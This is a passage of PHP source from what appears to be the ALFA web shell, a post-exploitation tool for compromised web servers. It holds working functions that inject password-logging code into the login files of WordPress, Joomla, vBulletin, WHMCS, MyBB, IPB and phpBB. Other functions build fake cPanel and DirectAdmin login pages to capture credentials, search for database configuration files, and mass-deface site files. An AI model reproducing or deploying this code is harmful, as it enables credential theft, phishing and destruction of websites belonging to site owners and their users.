$saveto = $_POST['alfa2'];
$cmspath = $_POST['alfa4'];
if (!empty($cms) and !empty($saveto) and $_POST['alfa4'] and $_POST['alfa3'] == '>>') {
echo __pre();
alfaHijackCms($cms, $cmspath, $saveto);
}
echo "</div>";
alfafooter();
}
function alfaHijackCms($cms, $cmspath, $saveto)
{
switch ($cms) {
case "vb":
hijackvBulletin($cmspath, $saveto);
break;
case "wp":
hijackwp($cmspath, $saveto);
break;
case "jom":
hijackJoomla($cmspath, $saveto);
break;
case "whmcs":
hijackWhmcs($cmspath, $saveto);
break;
case "mybb":
hijackMybb($cmspath, $saveto);
break;
case "ipb":
hijackIPB($cmspath, $saveto);
break;
case "phpbb":
hijackPHPBB($cmspath, $saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path, $saveto)
{
$code = '$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' . $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
$code = str_replace('{saveto_path}', $saveto, $code);
$login = $path . "/login.php";
$class = $path . "/includes/class_bootstrap.php";
$dologin = 'do_login_redirect();';
$evil_login = "\t" . $code . "\n\t" . $dologin;
$evil_class = "true";
if ((@is_file($login) and @is_writable($login)) || (@is_file($class) and @is_writable($class))) {
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if (strstr($data_login, $dologin) || strstr($data_class, $clearpw)) {
$login_replace = str_replace($dologin, $evil_login, $data_login);
$class_replace = str_replace($clearpw, $evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
} else {
hijackOutput(1);
}
}
function hijackwp($path, $saveto)
{
$code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$redirect_wp = '#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#';
$code = str_replace('{saveto_path}', $saveto, $code);
$login = $path . "/wp-login.php";
if (@is_file($login) and @is_writable($login)) {
$data_login = @file_get_contents($login);
if (@preg_match($redirect_wp, $data_login, $match)) {
$evil_login = "\t" . $match[0] . "\n\t" . $code;
$login_replace = @preg_replace($redirect_wp, $evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
} else {
hijackOutput(1);
}
}
function hijackJoomla($path, $saveto)
{
$code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
$code = str_replace('{saveto_path}', $saveto, $code);
$comp = $path . "/administrator/components/com_login/";
if (@is_file($comp . "/login.php")) {
$login = $comp . "/login.php";
} elseif (@is_file($comp . "/admin.login.php")) {
$login = $comp . "/admin.login.php";
} else {
$login = '';
}
if (@is_file($login) and @is_writable($login) and $login != '') {
$data_login = @file_get_contents($login);
$evil_login = $code . "\n" . $data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
}
function hijackWhmcs($path, $saveto)
{
$code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
$code = str_replace('{saveto_path}', $saveto, $code);
$conf = $path . "/configuration.php";
if (@is_file($conf) and @is_writable($conf)) {
$data_conf = @file_get_contents($conf);
if (!strstr($data_conf, '?>')) {
$code = '?>' . $code;
}
$evil_conf = $data_conf . "\n" . $code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
}
function hijackMybb($path, $saveto)
{
$code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
$find = '$loginhandler->complete_login();';
$code = str_replace('{saveto_path}', $saveto, $code);
$login = $path . "/member.php";
$evil_login = "\t" . $code . "\n\t" . $find;
if (@is_file($login) and @is_writable($login)) {
$data_login = @file_get_contents($login);
if (strstr($data_login, $find)) {
$login_replace = str_replace($find, $evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
} else {
hijackOutput(1);
}
}
function hijackIPB($path, $saveto)
{
$code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$find = 'unset( $member[\'plainPassword\'] );';
$code = str_replace('{saveto_path}', $saveto, $code);
$login = $path . "/admin/sources/handlers/han_login.php";
$evil_login = "\tunset( \$member['plainPassword'] );\n\t" . $code;
if (@is_file($login) and @is_writable($login)) {
$data_login = @file_get_contents($login);
if (strstr($data_login, $find)) {
$login_replace = str_replace($find, $evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
} else {
hijackOutput(1);
}
}
function hijackPHPBB($path, $saveto)
{
$code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$find = 'case \'login\':';
$code = str_replace('{saveto_path}', $saveto, $code);
$login = $path . "/ucp.php";
$evil_login = "\tcase 'login':\n\t" . $code;
if (@is_file($login) and @is_writable($login)) {
$data_login = @file_get_contents($login);
if (strstr($data_login, $find)) {
$login_replace = str_replace($find, $evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0, $saveto);
} else {
hijackOutput(1);
}
} else {
hijackOutput(1);
}
}
function hijackOutput($c = 0, $p = '')
{
echo $c == 0 ? "<center><font color='green'>Success</font> --> path: {$p}</center>" : '<center><font color="red">Error in inject code !</font></center>';
}
function Alfa_StrSearcher($dir, $string, $ext, $e, $arr = array())
{
if (@is_dir($dir)) {
$files = @scandir($dir);
foreach ($files as $key => $value) {
$path = @realpath($dir . DIRECTORY_SEPARATOR . $value);
if (!@is_dir($path)) {
if ($ext != '*') {
$f = basename($path);
$f = explode('.', $f);
$f = end($f);
if ($f != $ext) {
continue;
}
}
if ($e == 'str') {
$content = @file_get_contents($path);
if (strpos($content, $string) !== false) {
echo str_replace('\\', '/', $path) . "<br>";
}
} else {
if (strstr($value, $string)) {
echo str_replace('\\', '/', $path) . "<br>";
}
}
$results[] = $path;
} elseif ($value != "." && $value != "..") {
Alfa_StrSearcher($path, $string, $ext, $e, $results);
$results[] = $path;
}
}
}
}
function alfafakepage()
{
alfahead();
AlfaNum(9, 10);
echo "<div class=header><br>\r\n\t<center><div class=\"txtfont_header\">| Host Manager Fake page |</div></center><br><br><form onSubmit=\"g('fakepage',null,this.clone_page.value,this.fake_root.value,'>>',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;\" method='post'>\r\n\t<div class=\"txtfont\" style=\"position: relative;left: 50%;transform: translate(-50%);\"><div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Panel: </span><select style=\"width:100px;\" name=\"panel\">";
$cm_array = array("cpanel" => "Cpanel", "directadmin" => "DirectAdmin");
foreach ($cm_array as $key => $val) {
echo '<option value="' . $key . '">' . $val . '</option>';
}
echo "</select></div>";
echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="' . $_SERVER["DOCUMENT_ROOT"] . '/fake_page_root/"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="' . $_SERVER["DOCUMENT_ROOT"] . '/index.php"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: ' . $_SERVER["DOCUMENT_ROOT"] . '/wp-login.php"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="' . $GLOBALS['cwd'] . 'logs.txt"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
$clone_page = $_POST['alfa1'];
$fake_root = $_POST['alfa2'];
$logto = $_POST['alfa4'];
$panel = $_POST['alfa5'];
$inject_to = $_POST['alfa6'];
$bind_on = $_POST['alfa7'];
$count = $_POST['alfa8'];
if (!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>') {
echo __pre();
$target = $clone_page;
$curl = new AlfaCURL();
$source_page = $curl->Send($target);
if (!empty($source_page)) {
$matched_form = "";
if ($panel == "cpanel") {
if (preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)) {
$matched_form = $match[0];
}
} else {
if (preg_match('#<form(.*?)>#', $source_page, $match)) {
$matched_form = $match[0];
}
}
if (!empty($matched_form)) {
$fake = "";
$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
$uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
if ($panel == "cpanel") {
$port = "2083";
} else {
$target = str_replace(array("http://", "https://"), "", $target);
$port = explode(":", $target);
$port = $port[1];
}
if (substr($uri, 0, 1) == "/") {
$uri = substr($uri, 1);
}
$uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
if ($panel == "cpanel") {
$form = '<form novalidate id="login_form" action="' . $log_url . '" method="post" target="_top" style="visibility:">';
} else {
$form = '<form action="' . $log_url . '" method="post">';
}
$fake = str_replace($matched_form, $form, $source_page);
if (@(!is_dir($fake_root))) {
@mkdir($fake_root, 0777, true);
}
$cookie_name = "alfa_fakepage_counter" . rand(9999, 99999);
$post_user = 'user';
$post_pass = 'pass';
$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
if ($panel != "cpanel") {
$post_user = 'username';
$post_pass = 'password';
$resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
}
$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["' . $post_user . '"];$pass = $_POST["' . $post_pass . '"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["' . $cookie_name . '"])){@setcookie("' . $cookie_name . '", 0, $cook_time, "/");$_COOKIE["' . $cookie_name . '"]=1;}if((int)$_COOKIE["' . $cookie_name . '"]>' . $count . '){@header("Location: /");exit;}@setcookie("' . $cookie_name . '", ((int)$_COOKIE["' . $cookie_name . '"] + 1), $cook_time, "/");$fp = @fopen("' . $logto . '", "a+");@fwrite($fp, $user . " : " . $pass . "\\n");fclose($fp);sleep(3);' . $resp_code . 'exit;}?>';
@file_put_contents($fake_root . '/log.php', $cpanel_log);
if ($panel == "cpanel") {
$fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="' . $target . '/$2">', '<img class="main-logo" src="' . $target . '/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
}
@file_put_contents($fake_root . '/index.php', $fake);
$inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["' . $cookie_name . '"]<' . $count . '){@include("' . $fake_root . '/index.php");exit;}?>';
$bind_on_code = '<?php if((int)$_COOKIE["' . $cookie_name . '"]<' . $count . '){@header("Location: ' . $uri . '");exit;}?>';
@file_put_contents($inject_to, $inject_code . "\n" . @file_get_contents($inject_to));
@file_put_contents($bind_on, $bind_on_code . "\n" . @file_get_contents($bind_on));
echo "success...!";
} else {
echo "failed...!";
}
} else {
echo "<div style='text-align:center;color:red;'>Cannot open the target...!</div>";
}
}
echo "</div>";
alfafooter();
}
function alfaarchive_manager()
{
alfahead();
$file = $_POST['alfa2'];
if (!file_exists($file)) {
$file = $GLOBALS['cwd'];
}
$rand_id = rand(9999, 999999);
echo "<div class=header><center><p><div class=\"txtfont_header\">| Archive Manager |</div></p>";
echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Archive file: <input size="50" id="target" type="text" name="file" value="' . $file . '">
<input type="submit" name="btn" value=" "></div></form></center><br>';
if ($_POST['alfa5'] == '>>') {
echo '<hr><div style="margin-left: 12px;" archive_full="phar://' . $file . '" archive_name="' . basename($file) . '" id="archive_dir_' . $rand_id . '" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
echo '<div style="padding: 10px;" id="archive_base_' . $rand_id . '">';
__alfa_open_archive_file($file, $rand_id);
echo "</div>";
}
echo "</div>";
alfafooter();
}
function __alfa_open_archive_file($arch, $base_id = 0)
{
try {
$files = array();
$dirs = array();
$archive = new PharData($arch);
foreach ($archive as $file) {
$file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
if ($file->isDir()) {
$dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
} else {
$file_size = @filesize($file->getPathname());
$files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
}
}
function __alfa_open_archive_usort($a, $b)
{
return strcmp(strtolower($a['name']), strtolower($b['name'])) * 1;
}
usort($dirs, "__alfa_open_archive_usort");
usort($files, "__alfa_open_archive_usort");
$files = array_merge($dirs, $files);
echo "<table width=\"100%\" class=\"main\" cellspacing=\"0\" cellpadding=\"2\"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>";
$icon = '<img class="archive-icons" src="' . findicon('..', 'dir') . '" width="30" height="30">';
echo '<tr><th><a base_id="' . $base_id . '" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="' . dirname($arch . '.php') . '">' . $icon . '<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
foreach ($files as $file) {
$icon = '<img class="archive-icons" src="' . findicon($file['name'], $file['type']) . '" width="30" height="30">';
if ($file["type"] == "dir") {
echo '<tr><th><a base_id="' . $base_id . '" class="archive-file-row" onclick="alfaOpenArchive(this);" path="' . $file["path"] . '" fname="' . $file["name"] . '">' . $icon . '<span class="archive-name archive-type-dir">| ' . $file["name"] . ' |</span></a><td>dir</td><td>' . $file["modify"] . '</td><td>-</td></tr>';
} else {
echo "<tr><th><a base_id='" . $base_id . "' class='archive-file-row' onclick=\"editor('" . $file["path"] . "','auto','','','','file');\">" . $icon . "<span class='archive-name archive-type-file' fname='" . $file["name"] . "'>" . $file["name"] . "</span></a><td>" . alfaSize($file["size"]) . "</td><td>" . $file["modify"] . "</td><td>-</td></tr>";
}
}
echo "</table>";
} catch (Exception $e) {
echo "0";
}
}
function alfaopen_archive_dir()
{
$dir = $_POST["alfa1"];
$base_id = $_POST["alfa2"];
__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Config Grabber |</div></p>";
echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Dir: <input size="50" id="target" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
if ($_POST['alfa5'] == '>>') {
echo __pre();
Alfa_ConfigGrabber($dir, $ext);
}
echo "</div>";
alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext)
{
$pattern = "#define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
$db_files = array("wp-config.php", "configure.php", "config.inc.php", "configuration.php", "config.php", "conf.php", "dbclass.php", "class_core.php", "dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
if (@is_readable($dir)) {
$globFiles = @glob("{$dir}/*.{$ext}");
$globDirs = @glob("{$dir}/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if (!@is_readable($dir) || @is_link($dir)) {
continue;
}
@Alfa_ConfigGrabber($dir, $ext);
}
foreach ($globFiles as $file) {
$filee = @file_get_contents($file);
if (preg_match($pattern, $filee)) {
echo "<div><span>{$file}</span> <a style='cursor:pointer;' onclick=\"editor('" . $file . "','auto','','','','file');\">[ View file ]</a></div>";
}
}
}
}
function alfasearcher()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Searcher |</div></p><h3><a href=javascript:void(0) onclick=\"g('searcher',null,'file')\">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick=\"g('searcher',null,'str')\">| Find Files By Name | </a></h3></center>";
if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'file') {
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
$method = $_POST['alfa4'];
if ($_POST['alfa5'] == '>>') {
echo __pre();
if (substr($dir, -1) == '/') {
$dir = substr($dir, 0, -1);
}
Alfa_Searcher($dir, trim($ext), $method);
}
}
if ($_POST['alfa1'] == 'str') {
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$string = $_POST['alfa3'];
$ext = $_POST['alfa5'];
if (!empty($string) and !empty($dir) and $_POST['alfa4'] == '>>') {
echo __pre();
Alfa_StrSearcher($dir, $string, $ext, $_POST['alfa6']);
}
}
echo "</div>";
alfafooter();
}
function alfaMassDefacer()
{
alfahead();
AlfaNum(5, 6, 7, 8, 9, 10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
Mass dir: <input size="50" id="target" type="text" name="massdir" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
DefPage: <input size="50" type="text" name="defpage" value="' . htmlspecialchars($GLOBALS['cwd']) . '"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['alfa1'];
$defpage = $_POST['alfa2'];
$method = $_POST['alfa3'];
$fCurrent = $GLOBALS['__file_path'];
if ($_POST['alfa4'] == '>>') {
if (!empty($dir)) {
if (@is_dir($dir)) {
if (@is_readable($dir)) {
if (@is_file($defpage)) {
if ($dh = @opendir($dir)) {
echo __pre();
while (($file = @readdir($dh)) !== false) {
if ($file == '..' || $file == '.') {
continue;
}
$newfile = $dir . $file;
if ($fCurrent == $newfile) {
continue;
}
if (@is_dir($newfile)) {
Alfa_ReadDir($newfile, $method, $defpage);
} else {
if (!@is_writable($newfile)) {
continue;
}
if (!@is_readable($newfile)) {
continue;
}
Alfa_Rewriter($newfile, $file, $defpage, $method);
}
}
closedir($dh);
} else {
__alert('<font color="red">Error In OpenDir...</font>');
}
} else {
__alert('<font color="red">DefPage File NotFound...</font>');
}
} else {
__alert('<font color="red">Directory is not Readable...</font>');
}
} else {
__alert('<font color="red">Mass Dir is Invalid Dir...</font>');
}
} else {
__alert('<font color="red">Dir is Empty...</font>');
}
}
echo "</div>";
alfafooter();
}
function Alfa_ReadDir($dir, $method = '', $defpage = '')
{
if (!@is_readable($dir)) {
return false;
}
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if ($file == '..' || $file == '.') {
continue;
}
$newfile = $dir . '/' . $file;
if (@is_readable($newfile) && @is_dir($newfile)) {
Alfa_ReadDir($newfile, $method, $defpage);
}
if (@is_file($newfile)) {
if (!@is_readable($newfile)) {
continue;
}
Alfa_Rewriter($newfile, $file, $defpage, $method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir, $file, $defpage, $m = 'index')
{
if (!@is_writable($dir)) {
return false;
}
if (!@is_readable($dir)) {
return false;
}
$defpage = @file_get_contents($defpage);
if ($m == 'index') {
$indexs = array('index.php', 'index.htm', 'index.html', 'default.asp', 'default.aspx', 'index.asp', 'index.aspx', 'index.js');
if (in_array(strtolower($file), $indexs)) {
@file_put_contents($dir, $defpage);
echo @is_file($dir) ? $dir . "<b><font color='red'>DeFaced...</b></font><br>" : '';
}
} elseif ($m == 'all') {
@file_put_contents($dir, $defpage);
echo @is_file($dir) ? $dir . " <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function alfaGetDisFunc()
{
alfahead();
echo "<div class=\"header\">";
$disfun = @ini_get('disable_functions');
$s = explode(',', $disfun);
$f = array_unique($s);
echo "<center><br><b><font color=\"#7CFC00\">Disable Functions</font></b><pre><table border=\"1\"><tr><td align=\"center\" style=\"background-color: green;color: white;width:5%\">#</td><td align=\"center\" style=\"background-color: green;color: white;\">Func Name</td></tr>";
$i = 1;
foreach ($f as $s) {
$s = trim($s);
if (function_exists($s) || !is_callable($s)) {
continue;
}
echo '<tr><td align="center" style="background-color: black;">' . $i . '</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.' . str_replace('_', '-', $s) . '.php"><span class="disable_functions"><b>' . $s . '</b></span></a></td>';
$i++;
}
echo "</table></center>";
echo "</div>";
alfafooter();
}
function Alfa_Create_A_Tag($action, $vals)
{
$nulls = array();
foreach ($vals as $key => $val) {
echo '<a href=javascript:void(0) onclick="g(\'' . $action . '\',';
for ($i = 1; $i <= $val[1] - 1; $i++) {
$nulls[] = 'null';
}
$f = implode(',', $nulls);
echo $f . ',\'' . $val[0] . '\');return false;">| ' . $key . ' | </a>';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method)
{
if (@is_readable($dir)) {
if ($method == 'all') {
$ext = '*';
}
if ($method == 'dirs') {
$ext = '*';
}
$globFiles = @glob("{$dir}/*.{$ext}");
$globDirs = @glob("{$dir}/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if (!@is_readable($dir) || @is_link($dir)) {
continue;
}
@Alfa_Searcher($dir, $ext, $method);
}
switch ($method) {
case "files":
foreach ($globFiles as $file) {
if (@is_writable($file)) {
echo "{$file}<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file) {
if (@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)) {
echo dirname($file) . '<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file) {
echo $file . '<br>';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f, $width = '100%', $height = '600px')
{
return "<iframe src=\"ALFA_DATA/" . $f . '" width="' . $width . '" height="' . $height . '" frameborder="0"></iframe>';
}
class AlfaCURL
{
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies = false, $compression = 'gzip', $proxy = '')
{
if (!extension_loaded('curl')) {
$curl_status = false;
return false;
}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = "ALFA_TEMPDIR/Alfa_cookies.txt";
$this->compression = $compression;
$this->proxy = $proxy;
$this->cookies = $cookies;
if ($this->cookies) {
$this->cookie($this->path);
}
}
function cookie($cookie_file)
{
if (_alfa_file_exists($cookie_file, false)) {
$this->cookie_file = $cookie_file;
} else {
